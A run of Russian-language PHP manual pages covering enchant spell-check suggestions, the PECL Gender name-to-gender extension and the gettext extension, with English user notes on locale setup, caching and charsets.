enchant_dict_suggest(EnchantDictionary $dictionary, string $word): array

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

word

Слово для проверки.

Возвращаемые значения

Вернёт массив предположений для заданного с ошибкой слова.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования enchant_dict_suggest()

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
$d = enchant_broker_request_dict($r, $tag);

$wordcorrect = enchant_dict_check($d, "soong");
if (!$wordcorrect) {
$suggs = enchant_dict_suggest($d, "soong");
echo "Подсказки для 'soong':";
print_r($suggs);
}
enchant_broker_free_dict($d);
}
enchant_broker_free($r);
?>

Смотрите также

  • enchant_dict_check() - Проверяет, корректно ли задано слово
  • enchant_dict_quick_check() - Проверить, правильно ли написано слово и предложить варианты замены

User Contributed Notes

There are no user contributed notes for this page.


Класс EnchantBroker

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы enchant_broker в PHP 8.0.0.

Обзор классов

final class EnchantBroker {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс EnchantDictionary

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы enchant_dict в PHP 8.0.0.

Обзор классов

final class EnchantDictionary {
}

User Contributed Notes

There are no user contributed notes for this page.


Определение пола по имени

  • Введение
  • Установка и настройка
    • Установка
  • Примеры
    • Пример использования
  • Gender\Gender — Класс Gender\Gender
    • Gender\Gender::connect — Соединение с внешней базой имён
    • Gender\Gender::__construct — Конструктор объекта класса Gender
    • Gender\Gender::country — Получить текстовое представление страны
    • Gender\Gender::get — Получить пол по имени
    • Gender\Gender::isNick — Проверяет, является ли name0 псевдонимом для name1
    • Gender\Gender::similarNames — Получить похожие имена

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль PHP Gender - это порт программы gender.c, написанной Михаэлем Йоргом. Главное назначение этой программы - определение пола человека по его имени. Текущая база данных содержит более 40000 имён из 54 стран.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/gender.

Библиотека DLL для этого PECL-модуля доступна по ссылке » http://windows.php.net/downloads/pecl/releases/gender/.

User Contributed Notes

omega13a at gmail dot com 25-Feb-2022 12:38
This extension will not compile against PHP 8 unless the following patch is applied: http://www.fedtrek.com/staff/omega13a/rpms/fc35/php-pecl-gender-8-compadibility.patch

(I would submit this to the appropriate bug tracker but I can't find it. Clicking on "Report New Bug" on the Pecl Page takes you to a page saying the bug tracker no longer accepts non-security issues and there isn't any alternate place aviable)


Примеры

Содержание

  • Пример использования

User Contributed Notes

There are no user contributed notes for this page.


Пример использования

Пример использования класса Gender.

Пример #1 Пример использования.

<?php

namespace Gender;

$gender = new Gender;

$name = "Milene";
$country = Gender::FRANCE;

$result = $gender->get($name, $country);

$data = $gender->country($country);

switch($result) {
case Gender::IS_FEMALE:
printf("%s - это женское имя в стране %s\n", $name, $data['country']);
break;

case Gender::IS_MOSTLY_FEMALE:
printf("%s - это скорее всего женское имя в стране %s\n", $name, $data['country']);
break;

case Gender::IS_MALE:
printf("%s - это мужское имя в стране %s\n", $name, $data['country']);
break;

case Gender::IS_MOSTLY_MALE:
printf("%s - это скорее всего женское имя в стране %s\n", $name, $data['country']);
break;

case Gender::IS_UNISEX_NAME:
printf("Имя %s годится и для женщин, и для мужчин в стране %s\n", $name, $data['country']);
break;

case Gender::IS_A_COUPLE:
printf("Имя %s может быть и женским, и мужским в стране %s\n", $name, $data['country']);
break;

case Gender::NAME_NOT_FOUND:
printf("Имя %s не найдено для страны %s\n", $name, $data['country']);
break;

case Gender::ERROR_IN_NAME:
echo "В заданном имени ошибка!\n";
break;

default:
echo "Произошла ошибка!\n";
break;

}

User Contributed Notes

There are no user contributed notes for this page.


Класс Gender\Gender

(PECL gender >= 0.6.0)

Введение

Обзор классов

class Gender\Gender {
/* Константы */
const int IS_FEMALE = 70;
const int IS_MOSTLY_FEMALE = 102;
const int IS_MALE = 77;
const int IS_MOSTLY_MALE = 109;
const int IS_UNISEX_NAME = 63;
const int IS_A_COUPLE = 67;
const int NAME_NOT_FOUND = 32;
const int ERROR_IN_NAME = 69;
const int ANY_COUNTRY = 0;
const int BRITAIN = 1;
const int IRELAND = 2;
const int USA = 3;
const int SPAIN = 4;
const int PORTUGAL = 5;
const int ITALY = 6;
const int MALTA = 7;
const int FRANCE = 8;
const int BELGIUM = 9;
const int LUXEMBOURG = 10;
const int NETHERLANDS = 11;
const int GERMANY = 12;
const int EAST_FRISIA = 13;
const int AUSTRIA = 14;
const int SWISS = 15;
const int ICELAND = 16;
const int DENMARK = 17;
const int NORWAY = 18;
const int SWEDEN = 19;
const int FINLAND = 20;
const int ESTONIA = 21;
const int LATVIA = 22;
const int LITHUANIA = 23;
const int POLAND = 24;
const int CZECH_REP = 25;
const int SLOVAKIA = 26;
const int HUNGARY = 27;
const int ROMANIA = 28;
const int BULGARIA = 29;
const int BOSNIA = 30;
const int CROATIA = 31;
const int KOSOVO = 32;
const int MACEDONIA = 33;
const int MONTENEGRO = 34;
const int SERBIA = 35;
const int SLOVENIA = 36;
const int ALBANIA = 37;
const int GREECE = 38;
const int RUSSIA = 39;
const int BELARUS = 40;
const int MOLDOVA = 41;
const int UKRAINE = 42;
const int ARMENIA = 43;
const int AZERBAIJAN = 44;
const int GEORGIA = 45;
const int KAZAKH_UZBEK = 46;
const int TURKEY = 47;
const int ARABIA = 48;
const int ISRAEL = 49;
const int CHINA = 50;
const int INDIA = 51;
const int JAPAN = 52;
const int KOREA = 53;
/* Методы */
public __construct(string $dsn = ?)
public connect(string $dsn): bool
public country(int $country): array|false
public get(string $name, int $country = ?): int
public isNick(string $name0, string $name1, int $country = ?): array
public similarNames(string $name, int $country = ?): array
}

Предопределённые константы

Gender\Gender::IS_FEMALE

Gender\Gender::IS_MOSTLY_FEMALE

Gender\Gender::IS_MALE

Gender\Gender::IS_MOSTLY_MALE

Gender\Gender::IS_UNISEX_NAME

Gender\Gender::IS_A_COUPLE

Gender\Gender::NAME_NOT_FOUND

Gender\Gender::ERROR_IN_NAME

Gender\Gender::ANY_COUNTRY

Gender\Gender::BRITAIN

Gender\Gender::IRELAND

Gender\Gender::USA

Gender\Gender::SPAIN

Gender\Gender::PORTUGAL

Gender\Gender::ITALY

Gender\Gender::MALTA

Gender\Gender::FRANCE

Gender\Gender::BELGIUM

Gender\Gender::LUXEMBOURG

Gender\Gender::NETHERLANDS

Gender\Gender::GERMANY

Gender\Gender::EAST_FRISIA

Gender\Gender::AUSTRIA

Gender\Gender::SWISS

Gender\Gender::ICELAND

Gender\Gender::DENMARK

Gender\Gender::NORWAY

Gender\Gender::SWEDEN

Gender\Gender::FINLAND

Gender\Gender::ESTONIA

Gender\Gender::LATVIA

Gender\Gender::LITHUANIA

Gender\Gender::POLAND

Gender\Gender::CZECH_REP

Gender\Gender::SLOVAKIA

Gender\Gender::HUNGARY

Gender\Gender::ROMANIA

Gender\Gender::BULGARIA

Gender\Gender::BOSNIA

Gender\Gender::CROATIA

Gender\Gender::KOSOVO

Gender\Gender::MACEDONIA

Gender\Gender::MONTENEGRO

Gender\Gender::SERBIA

Gender\Gender::SLOVENIA

Gender\Gender::ALBANIA

Gender\Gender::GREECE

Gender\Gender::RUSSIA

Gender\Gender::BELARUS

Gender\Gender::MOLDOVA

Gender\Gender::UKRAINE

Gender\Gender::ARMENIA

Gender\Gender::AZERBAIJAN

Gender\Gender::GEORGIA

Gender\Gender::KAZAKH_UZBEK

Gender\Gender::TURKEY

Gender\Gender::ARABIA

Gender\Gender::ISRAEL

Gender\Gender::CHINA

Gender\Gender::INDIA

Gender\Gender::JAPAN

Gender\Gender::KOREA

Содержание

  • Gender\Gender::connect — Соединение с внешней базой имён
  • Gender\Gender::__construct — Конструктор объекта класса Gender
  • Gender\Gender::country — Получить текстовое представление страны
  • Gender\Gender::get — Получить пол по имени
  • Gender\Gender::isNick — Проверяет, является ли name0 псевдонимом для name1
  • Gender\Gender::similarNames — Получить похожие имена

User Contributed Notes

There are no user contributed notes for this page.


Соединение с внешней базой имён

  • « Gender\Gender
  • Gender\Gender::__construct »
  • PHP Manual
  • Gender\Gender
  • Соединение с внешней базой имён

Gender\Gender::connect

(PECL gender >= 0.6.0)

Gender\Gender::connect — Соединение с внешней базой имён

Описание

public Gender\Gender::connect(string $dsn): bool

Подключение к внешнему словарю имён. В данный момент поддерживаются только потоковые ресурсы.

Список параметров

dsn

DSN для открытия.

Возвращаемые значения

true либо false в зависимости от успешности.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта класса Gender

  • « Gender\Gender::connect
  • Gender\Gender::country »
  • PHP Manual
  • Gender\Gender
  • Конструктор объекта класса Gender

Gender\Gender::__construct

(PECL gender >= 0.6.0)

Gender\Gender::__construct — Конструктор объекта класса Gender

Описание

public Gender\Gender::__construct(string $dsn = ?)

Создаёт объект класса Gender, который необязательно может быть подключён к внешнему словарю имён. Если внешняя база данных не задана, то будут использоваться внутренние скомпилированные данные.

Список параметров

dsn

DSN для открытия.

User Contributed Notes

There are no user contributed notes for this page.


Получить текстовое представление страны

  • « Gender\Gender::__construct
  • Gender\Gender::get »
  • PHP Manual
  • Gender\Gender
  • Получить текстовое представление страны

Gender\Gender::country

(PECL gender >= 0.8.0)

Gender\Gender::country — Получить текстовое представление страны

Описание

public Gender\Gender::country(int $country): array|false

Возвращает текстовое представление страны из констант класса Gender.

Список параметров

country

Идентификатор страны, заданный константой класса Gender\Gender.

Возвращаемые значения

Возвращает массив с коротким и полным имени страны в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Gender\Gender::country()

$gender = new Gender\Gender;
var_dump($gender->country(Gender\Gender::BRITAIN));

Результат выполнения данного примера:

array(2) {
  'country_short' =>
  string(2) "UK"
  'country' =>
  string(13) "Great Britain"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить пол по имени

  • « Gender\Gender::country
  • Gender\Gender::isNick »
  • PHP Manual
  • Gender\Gender
  • Получить пол по имени

Gender\Gender::get

(PECL gender >= 0.6.0)

Gender\Gender::get — Получить пол по имени

Описание

public Gender\Gender::get(string $name, int $country = ?): int

Получить пол по имени в заданной стране.

Список параметров

name

Имя для проверки.

country

Идентификатор страны, заданный константой класса Gender.

Возвращаемые значения

Возвращает пол по имени.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли name0 псевдонимом для name1

  • « Gender\Gender::get
  • Gender\Gender::similarNames »
  • PHP Manual
  • Gender\Gender
  • Проверяет, является ли name0 псевдонимом для name1

Gender\Gender::isNick

(PECL gender >= 0.9.0)

Gender\Gender::isNick — Проверяет, является ли name0 псевдонимом для name1

Описание

public Gender\Gender::isNick(string $name0, string $name1, int $country = ?): array

Проверяет, является ли name0 псевдонимом для name1.

Список параметров

name0

Имя для проверки.

name1

Имя для проверки.

country

Идентификатор страны, определяемой константой класса Gender. Если опущен, то используется ANY_COUNTRY.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить похожие имена

  • « Gender\Gender::isNick
  • Gettext »
  • PHP Manual
  • Gender\Gender
  • Получить похожие имена

Gender\Gender::similarNames

(PECL gender >= 0.9.0)

Gender\Gender::similarNames — Получить похожие имена

Описание

public Gender\Gender::similarNames(string $name, int $country = ?): array

Получить похожие имена для заданных имени и страны.

Список параметров

name

Имя для проверки.

country

Идентификатор страны заданный константой класса. Если опущен, то используется ANY_COUNTRY.

Возвращаемые значения

Возвращает массив с найденными похожими именами.

User Contributed Notes

There are no user contributed notes for this page.


Gettext

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции gettext
    • bind_textdomain_codeset — Устанавливает или получает кодировку, в которой будут возвращаться сообщения из каталога сообщений домена
    • bindtextdomain — Устанавливает или получает путь для домена
    • dcgettext — Переопределяет одно сообщение в домене
    • dcngettext — Версия dcgettext для множественного числа
    • dgettext — Переопределяет текущий домен для одного сообщения
    • dngettext — Версия dgettext для множественного числа
    • gettext — Ищет сообщение в текущем домене
    • ngettext — Версия gettext для сообщений во множественном числе
    • textdomain — Устанавливает домен по умолчанию

User Contributed Notes

cucurella at gmail dot com 29-Oct-2020 05:27
<?php

// read directly .po files

function T_($contenido) {

    global $language;

    if ($language == "en") { $translation_file = "langs/en.po"; }
    if ($language == "es") { $translation_file = "langs/es.po"; }

    if (file_exists("$translation_file")) {
        $IDIOMA_CONTENT = file("$translation_file");
        $num_lineas = count($IDIOMA_CONTENT);
    } else {
        return $contenido;
    }

    for ($i = 0; $i <= $num_lineas; $i++) {
        $linea1 = $IDIOMA_CONTENT[$i];
        $linea1 = rtrim($linea1);
        $string6 = substr($linea1, 0, 6);

        if ($string6 == "msgid ") {
            $orig = str_replace($string6, "", $linea1);
            $orig = str_replace("\"", "", $orig);

            if ("$orig" == "$contenido") {
                $linea2 = $IDIOMA_CONTENT[$i + 1];
                $linea2 = rtrim($linea2);
                $string7 = substr($linea2, 0, 7);

                if ($string7 == "msgstr ") {
                    $trad = str_replace($string7, "", $linea2);
                    $trad = str_replace("\"", "", $trad);
                    return("$trad");
                }
            } else {
                $i = $i + 3;
            }
        }
    }

    return("$contenido");
}

$language = "es";

print T_("I on puc comprar el meu domini ?");
print T_("Aqui tens alguns links...");

?>
maximran800 at gmail dot com 01-Aug-2018 08:00
I have some problems setting geettext.
I ahve tried all the above example in noted, but none work.
However, i found a nice trick here and it work!!:
My platform is freebsd.

below is the post:
http://php.net/manual/en/function.gettext.php

Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
marioandrea dot petruccelli at gmail dot com 14-Mar-2018 09:54
How to use gettext on Windows.

If you use Linux start from the step 2 and consider cmd as linux shell.

1] First you have to download and install this
      https://mlocati.github.io/articles/gettext-iconv-windows.html

    Check all options during the installation and go on.

2] Create a index.php file into your website directory with this code inside:

   <?php
    echo  _("Good Morning");
    ?>

3] Open cmd and move into your website folder using cd

4] Now create the .mo files directly from the php files using this command
    xgettext -n index.php

    Use xgettext -help to see how to include more php files.

5] Once finished will be generate a file called messages.mo. Now you have to set the language and the charset. Open messages.mo with notepad and edit the lines:

 - "Language: \n" BECOMES "Language fr\n"
 - "Content-Type: text/plain; charset=CHARSET\n" BECOMES "Content-Type: text/plain; CHARSET=Windows-1251\n"

6] Remember to translate every line where is present msgstr "", translating the instance msgid into language you have chosen. For instance:

   #: index.php:2
  msgid "Good Morning"
  msgstr "Bonjour"

7] Once finished open cmd and move into your website folder using cd and then type
     msgfmt messages.po

 This will make a file called messages.mo . Is a binary version of the messages.po file

8] Now you have to create a folder structure like this into your website folder. Do this for each language you want to add.

  website/locale/fr_FR/LC_MESSAGES

9] Move messages.mo and messages.po in locale/fr_FR/LC_MESSAGES

10] Now edit the index.php as follows

 <?php

 $locale = "fr_FR";

    if (defined('LC_MESSAGES')) {
        setlocale(LC_MESSAGES, $locale); // Linux
        bindtextdomain("messages", "./locale");
    } else {
        putenv("LC_ALL={$locale}"); // windows
        bindtextdomain("messages", ".\locale");
    }

    textdomain("messages");

    echo _("Good Morning");
?>

11] Open index.php in your browser and if you will see "Bonjour" it means everything is okay. If not,  start from the step 2 again.

If it was usefull for you vote up!

Visit my github profile https://github.com/TheoRelativity/
afrimuchkov at yandex dot ru 29-Oct-2017 10:35
Soo.... It was pretty hard)
Finaly:
1)Working if dir is "en", not "en_GB" or "en_GB.utf8". Only "en".
2)But use setlocale(LC_MESSAGES, "en_GB.utf8");
Anonymous 16-Dec-2014 12:00
for all they try to use a non-alpha-char in a domain name: DONT TRY THIS !!! we have search some hours to realized that "foo-bar" is not a good idea for a domain name. sometimes we got a correct translation, and sometimes not. so just use only the characters A-Z for a domain name!
Johnny 14-Jul-2014 09:31
Please also be noticed that the server will cache the .mo file on first loading and then "seldom" reload it, so your update to .mo file will not be revealed.  Some solution to clear the cache from web is to restart the apache server, or to use another name for the textdomain everytime.  These are tedious.  I cannot find better solution yet.
yuricardenas at gmail dot com 21-Jun-2009 11:30
*An important thing to keep in mind*:
Do not forget to set the charset in .po file!
For example:

"Content-Type: text/plain; CHARSET=Windows-1251\n"

Then PHP will be able to find the .mo file you generated, using msgfmt, from the .po file WITH CHARSET SET.

Because of this I've wasted a lot of time debugging my code, testing every single little changes people suggested over this manual and Internet:

<?php

//this:
setlocale( LC_MESSAGES, 'pt_BR')
//or this:
setlocale( LC_MESSAGES, 'pt_BR.utf8')
//or this:
setlocale( LC_MESSAGES, '')

//this:
putenv("LANG=pt_BR.utf8");
//or this:
putenv("LANGUAGE=pt_BR.utf8");

//this:
bindtextdomain('mydomain', dirname(__FILE__).'/locale');
//or this:
bindtextdomain("*", dirname(__FILE__).'/locale');
//or this:
bindtextdomain('*', dirname(__FILE__).'/locale');

//setting or not "bind_textdomain_codeset()":
bind_textdomain_codeset("mydomain", 'UTF-8');
?>

As well as what locale directory name to set:
./locale/pt_BR.UTF8/LC_MESSAGES/mydomain.mo
or
./locale/pt_BR/LC_MESSAGES/mydomain.mo
or
./locale/pt/LC_MESSAGES/mydomain.mo

Finally, the code which brought the right translated strings (also with the correct charset) was:

<?php

$directory = dirname(__FILE__).'/locale';
$domain = 'mydomain';
$locale ="pt_BR.utf8";

//putenv("LANG=".$locale); //not needed for my tests, but people say it's useful for windows

setlocale( LC_MESSAGES, $locale);
bindtextdomain($domain, $directory);
textdomain($domain);
bind_textdomain_codeset($domain, 'UTF-8');
?>

And the three directory's names worked out, using the pt_BR.utf8 locale. (My tests were made restarting Apache then trying each directory).

I hope to help someone else not to waste as much time as I've wasted... =P

Using:
Ubuntu 8.04 (hardy)
Apache 2.2.8
PHP 5.2.4-2ubuntu5.6
jpatokal at iki dot fi 29-May-2009 12:05
Warning for Linux (Ubuntu) users!  Your system will *only* support the locales installed on your OS, in the *exact* format given by your OS.  (See also the PHP setlocale man page.)  To get a list of them, enter locale -a, which will give you something like this:

C
en_US.utf8
ja_JP.utf8
POSIX

So this machine only has English and Japanese!  To add eg. Finnish, install the package:

sudo apt-get install language-pack-fi-base

Rerun locale -a, and "fi_FI.utf8" should appear.  Make sure you're using the same name in your PHP code:

setlocale(LC_ALL, "fi_FI.utf8");

Adjust your po paths so that they match, e.g. "./locale/fi_FI.utf8/LC_MESSAGES/messages.po".

Now restart Apache, and it should finally work.  Figuring this out took quite a while...
sasq1 at go2 dot pl 31-Mar-2009 10:18
And what about pgettext and npgettext? They are there in the gettext documentation, but there aren't in PHP. They're very useful if you have the same messages for translation, but in different contexts, so they should be translated separately and probably differently.

Fortunately, there is a simple work-around, which may help:
From the gettext.h header one can find out that pgettext() is only a macro calling dcgettext() internally with properly mangled parameters - msgctxt and msgid are glued together with use of ASCII char 4 [EOT, End Of Text]. The same way they're written in .mo files, so it's possible to refer them this way.

Here's my "emulated" pgettext() function:

<?php
   if (!function_exists('pgettext')) {

      function pgettext($context, $msgid)
      {
         $contextString = "{$context}\004{$msgid}";
         $translation = dcgettext('messages', contextString,LC_MESSAGES);
         if ($translation == $contextString)  return $msgid;
         else  return $translation;
      }

   }
?>

By default, xgettext doesn't support pgettext function for PHP source files. But there is a parameter which can work-around it. Here's how I call xgettext:

   xgettext --force-po --keyword="pgettext:1c,2" -c -o messages.po sourceFile.php

In sourceFile.php I use the following test code:

   pgettext('menu', 'Open');  //Substitute "Otworz"
   pgettext('forum', 'Open');  //Substitute "Otwarty", different context

Generated .po file fragment:

   msgctxt "menu"
   msgid "Open"
   msgstr "Otworz"

   msgctxt "forum"
   msgctxt "Open"
   msgstr "Otwarty"

I've tested it out and everything works fine :-) If anyone have some further suggestions or fixes, please write ;-)
rainwalker at seznam dot cz 19-Mar-2009 09:16
My PHP app was made for UTF-8 but i had a problem that gettext always returned all texts in ISO-8859-2 instead of UTF-8.

Then i found out that you have to set locale in PHP exactly to encoding you request. So when i wanted czech UTF-8 i used:

setlocale(LC_ALL, "cs_CZ.UTF-8");

Now it works...
djogopatrao at gmail dot com 10-Dec-2008 10:49
It is noteworthy that, according to the GNU gettext FAQ[1], * source code must be ASCII *. That means that you can't write code like

<?= _("aaaaaaaa")?>

in UTF-8, ISO-8859-1 or whatever, and hope that that will work. It won't.

[1]http://www.gnu.org/software/gettext/FAQ.html#nonascii_strings
php at devicenull dot org 20-Aug-2008 07:58
To get this working properly on debian, install the locales-all package.  I just spent a few hours finding a bug where it wouldn't work because that package is missing


Введение

Функции gettext реализуют NLS (Native Language Support) API, который может использоваться для интернационализации ваших PHP-приложений. Обратитесь к документации gettext для вашей системы или откройте её по адресу » http://www.gnu.org/software/gettext/manual/gettext.html.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования функций данного модуля требуется установка пакета GNU gettext, который можно скачать по ссылке: » http://www.gnu.org/software/gettext/gettext.html.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Чтобы включить поддержку GNU gettext в вашу сборку PHP, добавьте в конфигурацию ключ --with-gettext[=DIR], где DIR - папка установки gettext, обычно это /usr/local.

User Contributed Notes

There are no user contributed notes for this page.


Функции gettext

Содержание

  • bind_textdomain_codeset — Устанавливает или получает кодировку, в которой будут возвращаться сообщения из каталога сообщений домена
  • bindtextdomain — Устанавливает или получает путь для домена
  • dcgettext — Переопределяет одно сообщение в домене
  • dcngettext — Версия dcgettext для множественного числа
  • dgettext — Переопределяет текущий домен для одного сообщения
  • dngettext — Версия dgettext для множественного числа
  • gettext — Ищет сообщение в текущем домене
  • ngettext — Версия gettext для сообщений во множественном числе
  • textdomain — Устанавливает домен по умолчанию

User Contributed Notes

richardbrinkman at hotmail dot com 14-Nov-2016 11:28
Gettext caches the machine readable *.mo files. This makes it pretty fast but also impossible to change a .mo file while running an application. Since PHP is running as a server, you cannot update your .mo file and see your new translation immediately. There are two ways to overcome this caching problem:

1. Restart your webserver. For example by a `systemctl restart apache2`. This will kill already running php processes and reload them afterwards.

2. If you don't have rights to restart a webserver (for example you are using a shared host), you can change the domain. Use for example this PHP code to hard link the new domain to the changed .mo files:

$locale = "nl_NL.utf8"; //set this to your language
setlocale(LC_ALL, $locale);
putenv('LANG=' . $locale);
$mtime = 0;
$translationDir = "locale"; //or where ever you store your translations
$originals = glob("$translationDir/*/LC_MESSAGES/messages.mo");
foreach ($originals as $file)
    $mtime = max($mtime, filemtime($file));
$domain = "messages_$mtime";
$current = glob("$translationDir/*/LC_MESSAGES/$domain.mo");
if (count($originals) != count($current)) {
    foreach (glob("$translationDir/*/LC_MESSAGES/messages_*.mo") as $file)
        unlink($file);
    foreach ($originals as $file)
        link($file, substr($file, 0, -3)."_$mtime.mo");
}
bindtextdomain($domain, $translationDir);
textdomain($domain);

What this script does is check whether at least one of the translations is updated and if so remove all messages_*.so and hard link all messages.po to corresponding messages_$mtime.po, where $mtime is set to the latest modified translation file. Since it uses a new domain ("messages_$mtime") it is not cached.
analpaper{gmail} 28-Aug-2008 02:36
in response to richard:
i was using the wildcard * for sometime ago without problem, until today.

i used:
<?php bindtextdomain( '*', './locale' ); ?>
but it seems to fail under some environments (i dont know why, but in diff machines with same software the result is not always as expected)..

then, with:
<?php bindtextdomain( "*", './locale' ); ?>
all is nicely translated again.

i use single quotes always if possible, now there are another think to remember.
---
live2code
Sbastien Ballest-Antich 21-May-2008 06:08
A workaround to use heredoc and gettext strings with sprintf :
<?php
$hd = <<<EOD
   <p>%s</p>
   <p>%s</p>
EOD;
$hdgt = sprintf($hd, _('Heredoc'), _('gettext'));
var_dump($hdgt);
?>
titan at phpdevshell dot org 07-Mar-2008 11:25
If you would like to create a .po file with include heredoc scripts inside curly brackets {} solution is as follows;

I want to translate what in here (test.php):
<code>
<?php
$EOF = <<<EOF
{$t->__('I want to translate this string.')}
EOF;
?>
</code>

You will have to use the xgettext (gnu utility) with the Python parser like so:
<code>
$ xgettext --default-domain=test --keyword=__ --keyword --language=Python test.php
</code>

The above terminal command might seem wrong with --keyword used twice, this is however correct.
SEWilco 25-Jul-2007 02:21
People have suggested several combinations of configuration options.  Consider trying nested loops with various combinations of language names (with and without character set suffixes) and pathnames.  A gettext() call in the middle of the loops can test for success (a string being translated).

"Of 4374 localization setup variations tested there were 0 successes."

Sometimes one just has to fix the system and PHP configuration.
jon at nospam dot foo 25-Apr-2007 03:37
I'm sure I'll confuse further, but I feel compelled to chime in.  I got stuck on this a bit...

It's absolutely critical that your gettext installation supports the locale you are trying to use in your setlocale(LC_MESSAGES,$locale) call.

This does not work:

setlocale(LC_MESSAGES,"en");

in OpenSUSE 10.2, because /usr/lib/locale does not contain the directory "en" (out of the box), even though your custom LC_MESSAGES domain location might.

In OpenSUSE 10.2, at least, /usr/lib/locale contains for USA English:

en_US
en_US.iso885915
en_US.utf8

(again, not "en").

It might be possible to set up an alias, I'm not sure (does anyone have a idea about this).

My goal was to use HTTP_ACCEPT_LANGUAGE to set locale (I realize that locale != language, but it seems that gettext uses locale to assign language (scratches head) ).  Opera in OS X does not send "en_US".  However, Firefox does out of the box.  I'm not sure if it's supposed to work this way, but it seems like it should, and so the way Opera handles this appears to be an issue.  Incidentally, Safari simples send "en" in HTTP_ACCEPT_LANGUAGE, and will also not work.

This compelled me to set a configurable default locale (e.g "en_US") in my PHP app, which one probably should do anyway, because HTTP_ACCEPT_LANGUAGE might be blank.
jeremy at jeremy dot se dot nospam 20-Feb-2007 11:27
As some of you have mentioned, you must have the locales compiled on your system first. How this is done is depending on your system/distribution *sigh*

In every case you need to have gettext installed on your system. Users running a Linux with a recent version of libc will have gettext in libc already.

Here's an example for those of you running Ubuntu Edgy.

First of all, have a look in /usr/share/i18n/SUPPORTED, here are the locales that are supported on your system. To compile a locale we will use the command "locale-gen". ("man 8 locale-gen" is good reading)

This command reads configuration from files in the folder /var/lib/locales/supported.d/ In these files the locales and charsets are defined.

If we take swedish as an example, start by creating a file called "sv" in /var/lib/locales/supported.d/ and then put in something like "sv_SE.UTF8 UTF8" (without the " ") This says that we want the locale sv_SE to be built with charmap UTF-8. Check the file /usr/share/i18n/SUPPORTED for other alternatives.

Now we run "locale-gen" which will compile all locales defined in /var/lib/locales/supported.d/ and put them in /usr/lib/locales (yes that's a lot of locations...)

Now you're ready to go...

Create a php-file (e.g. hello.php) where all strings you want to translate are surrounded with _("string here");

next run "xgettext hello.php", this creates a file called messages.po, which is you translation-file (pot). Change the "Content-Type: text/plain; charset=CHARSET\n" in this file and replace CHARSET with UTF-8 in this case. Next translate all strings like this.

#: hello.php:3
msgid "hello!"
msgstr "hej!"

Save and use the command "msgfmt -o hello.mo messages.po" which will create a compiled .mo file called hello.mo

This file is then placed in a directory structure somewhere your Apache can read it. The structure looks like this:

"locale/sv/LC_MESSAGES/hello.mo"

Next, let php know what we're doing. We point to where we have our translations. Add the following at the top of hello.php

bindtextdomain('hello','/somepath/locale');

This binds the file hello.mo to the locale/ directory you created.
Then set the locale. LC_ALL tells that we want everything translated. Might not be good at all times, as another person here suggested.

setlocale(LC_ALL, "sv_SE.UTF-8");

Finally select the that we want to use hello.mo

textdomain('hello');

That should be it! Try it out..

If you get any problems try restarting Apache as it seems to cache the locales.

If you are running command line you might have to set the environment variable LANGUAGE to your locale as well. I didn't have to do that to get it working in apache though, but you might...

putenv("LANGUAGE=sv_SE.UTF-8");
djogopatrao at gmail dot com 31-Oct-2006 03:57
Juan Liska, I found an alternative. Instead of renaming or adding a alias to the locale, I simply changed

$language = 'pt_BR';

to

$language = 'pt_BR.UTF-8';
putenv("LANG=$language");
setlocale(LC_ALL, $language)

and it did work fine!
konrads/smelkovs/gmail/com 11-Oct-2006 07:16
re LC_MESSAGES for windows users, LC_MESSAGES should be defi0ned as 5
C Snover 13-Aug-2006 04:26
I think that it bears mentioning that most documentation and tutorials you will find say that you should setenv(LC_ALL, $locale), but this only works IF THE LOCALE IS VALID ON THE LOCAL MACHINE. If you are using a locale that does not exist on the system or is not valid (like something returned from the HTTP Accept-Language header, such as 'ja', which is never a valid locale because it does not include the country code JP), you will probably be pulling your hair out for HOURS trying to figure out why the damn thing isn't working.

What I have found is that setting the LANGUAGE variable (eg. setenv("LANGUAGE=$locale")) will allow gettext to search inside your locale directories, even if the locale is not actually valid on the local system.

So, to summarize:

This will work:
<?php
$locale = 'ja'; // Pretend this came from the Accept-Language header
$locale_dir = './locale'; // your .po and .mo files should be at $locale_dir/$locale/LC_MESSAGES/messages.{po,mo}

putenv("LANGUAGE=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

putenv("LC_ALL=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will also not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

